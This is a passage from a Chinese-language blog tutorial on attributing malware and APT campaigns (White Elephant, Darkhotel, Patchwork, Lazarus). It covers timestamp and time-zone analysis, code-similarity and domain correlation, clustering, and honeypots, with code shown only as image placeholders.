Cesare等提出了最小距离匹配度量法,比较不同样本的CFG图特征的相似性。Kinable等通过静态分析恶意代码的系统调用图,采用图匹配的方式计算图相似性得分,该得分近似于图的编辑距离。利用该得分比较样本的相似性,采用聚类算法将样本进行聚类,实现家族分类。


(4) 同源判定

学术界常见的同源判定方法主要包括基于聚类算法的同源判定、基于神经网络的同源判定等。Kim等采用DBSCAN算法对基于调用图聚类,发现类似的恶意软件。Feizollah等提出采用层聚类算法,构建家族间演化模型,进而发掘家族功能的演化。Niu等提出了层次聚类和密度聚类算法结合的快速聚类算法对操作码序列特征进行聚类,以识别恶意软件变体,该方法识别变体效率较高。

神经网络是一种多层网络的机器学习算法,可以处理多特征以及复杂特征的同源判定。基本思想为:将样本特征作为输入层数据,然后不断调整神经网络参数,直到输出的样本与该样本是一种同源关系未为止。它会将恶意代码特征送输入层,即可判断恶意代码的同源性.。赵炳麟等提出了基于神经网络的同源判定方法,其整体实现框架如下图所示。

在这里插入图片描述



3.时区溯源案例(白象)

在过去的四年中,安天的工程师们关注到了中国的机构和用户反复遭遇来自“西南方向”的网络入侵尝试。这些攻击虽进行了一些掩盖和伪装,我们依然可以将其推理回原点——来自南亚次大陆的某个国家。

参考文章:白象的舞步——来自南亚次大陆的网络攻击

安天在2014年4月相关文章中披露的针对中国两所大学被攻击的事件,涉及以下六个样本。其中五个样本投放至同一个目标,这些样本间呈现出模块组合作业的特点。

在这里插入图片描述

那么,如何溯源该组织所来自的区域呢?
安天通过对样本集的时间戳、时区分析进行分析,发现其来自南亚。样本时间戳是一个十六进制的数据,存储在PE文件头里,该值一般由编译器在开发者创建可执行文件时自动生成,时间单位细化到秒,通常可以认为该值为样本生成时间(GMT时间)。

在这里插入图片描述

时间戳的分析需要收集所有可用的可执行文件时间戳,并剔除过早的和明显人为修改的时间,再将其根据特定标准分组统计,如每周的天或小时,并以图形的形式体现,下图是通过小时分组统计结果:

在这里插入图片描述

从上图的统计结果来看,如果假设攻击者的工作时间是早上八九点至下午五六点的话,那么将工作时间匹配到一个来自UTC+4或UTC+5时区的攻击者的工作时间。根据我们匹配的攻击者所在时区(UTC+4 或UTC+5),再对照世界时区分布图,就可以来推断攻击者所在的区域或国家。

在这里插入图片描述

接着对该攻击组织进行更深入的分析。对这一攻击组织继续综合线索,基于互联网公开信息,进行了画像分析,认为这是一个由10~16人的组成的攻击小组。其中六人的用户ID是cr01nk 、neeru rana、andrew、Yash、Ita nagar、Naga。

在这里插入图片描述

在安天的跟踪分析中,发现该组织的部分C&C地址是一些正常的网站,经过分析我们认为,有可能该组织入侵了这些网站,将自己的C&C服务控制代码放到它们的服务器上,以此来隐藏自己的IP信息。同时这种方式还会使安全软件认为连接的是正常的网站,而不会触发安全警报。

基于现有资源可以分析出,“白象二代”组织一名开发人员的ID为“Kanishk”,通过维基百科查询到一个类似单词“Kanishka”,这是一个是梵文译音,中文翻译为“迦腻色迦”,迦腻色伽是贵霜帝国(Kushan Empire)的君主,贵霜帝国主要控制范围在印度河流域。至此推测该APT组织来自南亚某国。

在这里插入图片描述

通过这个案例,我们可以通过时区、公开信息、黑客ID、C&C域名进行溯源,并一步步递进。



4.关联分析案例(Darkhotel APT-C-06)

Darkhotel(APT-C-06)是一个长期针对企业高管、GF工业、电子工业等重要机构实施网络攻击活动的APT组织。2014年11月,卡巴斯基实验室的安全专家首次发现了Darkhotel APT组织,并声明该组织至少从2010年就已经开始活跃,目标基本锁定在韩国、中国、俄罗斯和日本。360威胁情报中心对该团伙的活动一直保持着持续跟踪,其还远的攻击流程如下图所示。

参考文字:DarkHotel APT团伙新近活动的样本分析

在这里插入图片描述

溯源方法:通过对样本中使用的特殊代码结构、域名/IP等的关联分析,以及使用360威胁情报中心分析平台对相关样本和网络基础设施进行拓展,推断攻击的幕后团伙为Darkhotel(APT-C-06)。

(1) 网络内容合法性算法关联
在分析的msfte.dll样本中我们注意到一段比较特殊的校验获取网络内容的合法性的算法,通过对使用了相同算法的样本关联分析,我们发现了另外两种形式的Dropper样本,分别是EXE和图片文件捆绑执行的样本,以及通过Lnk快捷方式执行的样本,他们都使用了相似的代码结构,可以确认这两种形式的Dropper样本和本次分析的样本出自同一团伙之手,比如特殊的校验获取的网络内容合法性算法部分完全一致。

下图为样本A(wuauctl.exe)和样本B(cala32.exe)的代码。

在这里插入图片描述

在这里插入图片描述


(2) 域名关联分析指向DarkHotel

进一步分析使用Lnk快捷方式执行恶意代码的样本,可以看到都使用了完全一致的命令行参数和代码。

在这里插入图片描述

习惯性的使用360威胁情报中心数据平台搜索样本中用于下载恶意脚本的两个域名,可以看到相关域名正是360威胁情报中心内部长期跟踪的Darkhotel APT团伙使用的域名,相关域名早已经被打上Darkhotel的标签。

在这里插入图片描述


(3) 溯源关联图
360威胁情报中心通过大数据关联,对 DarkHotel APT团伙近年来使用的多个Loader版本进行了整理分析,通过分析大致可以看到该Loader历经了三个开发周期。以简单的GetCC函数为例,可以看到代码整体逻辑是没有区别的:

在这里插入图片描述

只是增加了对应的混淆还原处理。

在这里插入图片描述

下图为溯源关联图。

在这里插入图片描述



5.特征相似溯源(摩诃草)

在某次APT攻击中,360安全团队发现其与摩诃草APT组织旗下的CNC小组有着很多的联系。那么是怎么发现的呢?某些安全人员或APT组织写的代码都有自己的特色,我们通过对比这些代码DNA的相似性或特征,能够判断其攻击的来源。

CNC小组取名来自360于2019年底发布的报告《南亚地区APT组织2019年度攻击活动总结》中提及的摩诃草使用新的远程控制木马,同时通过其pdb路径信息中包含了 cnc_client 的字样,故命名为cnc_client小组。在此次活动中,该组织的特征与之高度类似,故团队猜测该活动的作俑者来源于摩诃草旗下的CNC小组。

在这里插入图片描述

下面简单介绍相似的地方,左图来自于360的年度报告,右图来自于本次活动的截图。

(1) 反向shell功能相似性

在这里插入图片描述

(2) 文件上传功能相似性

在这里插入图片描述

(3) 文件下载功能相似性

在这里插入图片描述

并且在连域名中出现了cnc的字眼,故Gcow安全小组大胆猜测该小组对原先的cnc_client进行了进一步的修改,但是其主体逻辑框架保持不变。在侧面上反应了该组织也很积极的修改相关的恶意软件代码以躲避杀毒软件的检测。



6.0day漏洞溯源(Lazarus T-APT-15)

Lazarus(T-APT-15)组织是来自朝鲜的APT组织,该组织长期对韩国、美国进行渗透攻击,此外还对全球的金融机构进行攻击,堪称全球金融机构的最大威胁。该组织最早的攻击活动可以追溯到2007年。据国外安全公司的调查显示,Lazarus组织与2014 年索尼影业遭黑客攻击事件,2016 年孟加拉国银行数据泄露事件,2017年美国国防承包商、美国能源部门及英国、韩国等比特币交易所被攻击等事件有关。而2017年席卷全球的最臭名昭著的安全事件“Wannacry”勒索病毒也被怀疑是该组织所为。

近日腾讯御见威胁情报中心监测到多个利用最新Flash漏洞CVE-2018-4878发动的攻击。攻击对象为数字货币交易所等,攻击事件所使用的样本都是docx文件,docx文件内嵌了一个包含漏洞攻击swf文件的doc文档。经分析,发现该恶意文档卸载的载荷为FALLCHILL远程控制木马最新变种,FALLCHILL木马是朝鲜的黑客组织Lazarus开发并使用的木马。

参考文章:Lazarus APT组织最新活动揭露

经过分析溯源,发现该RAT代码与FALLCHILL木马具有较高的相似度,在部分代码细节、远控命令分发、总体逻辑流程上具有非常明显的相似性。在api加密、通讯协议伪装上有较大变种改进。FALLCHILL木马被认为是朝鲜背景的APT组织Lazarus Group 所用。该RAT文件的资源语言为朝鲜语,也从侧面印证与Lazarus组织的相关性。

在这里插入图片描述

从Adobe漏洞公告致谢来看,CVE-2018-4878这个漏洞的野外攻击样本最早是由韩国计算机应急响应小组(KR-CERT)发现的,而KR-CERT也表示,来自朝鲜的黑客组织已经成功利用这个0Day漏洞发起攻击,与Lazarus主要攻击目标一致。

在这里插入图片描述

部分特征代码及其相似如下:

在这里插入图片描述

此外,我们通过本次攻击样本与历史样本进行关联分析,发现此版本FALLCHILL最早出现于2017年初,通过样本的出现时间和C2的活跃时间可以发现该组织是持续活跃的。



7.蜜罐溯源

蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。

蜜罐好比是情报收集系统。蜜罐好像是故意让人攻击的目标,引诱黑客前来攻击。所以攻击者入侵后,你就可以知道他是如何得逞的,随时了解针对服务器发动的最新的攻击和漏洞。还可以通过窃听黑客之间的联系,收集黑客所用的种种工具,并且掌握他们的社交网络。

参考文章:揭秘Patchwork APT攻击 :一个与中国南海和东南亚问题相关的网络攻击组织

为了捕获攻击者发起的第二阶段攻击程序,观察其在内网中的渗透活动,我们创建了一个真实网络环境,这个环境让攻击者觉得他们已经成功获取了主机权限。零星的诱饵数据可以让攻击者向另一主机转移,这些数据可以是存储凭据,共享文件夹、浏览器cookies,VPN配置等其它信息。最终我们利用了Cymmetria’s MazeRunner 系统成功捕获了攻击者的活动。

在这里插入图片描述

从攻击者C&C控制服务器中获得的信息,我们通过另一个合作伙伴,成功地接手并控制了攻击者的一个C&C服务器,服务器中包含了大量文件,而且这些钓鱼文件内容都与中国主题或性质相关。



四.安全防御建议

安全防御建议如下:

同时,补充异常网络行为常见的判断方法:



五.总结

写到这里,这篇文章就介绍完毕,希望您喜欢这篇文章。最近分享了两场讲座,一个是安全,一个是大数据,希望能将自己这些年在大数据、知识图谱、系统安全及人工智能应用到家乡这片土地,哈哈!

这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全厂商和大佬们的文章分享,深知自己很菜,得努力前行。

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

(By:Eastmount 2021-09-10 晚上12点写于武汉 http://blog.csdn.net/eastmount )

标签:文件,系统安全,攻击,恶意代码,样本,APT,溯源
来源: https://blog.csdn.net/Eastmount/article/details/120229562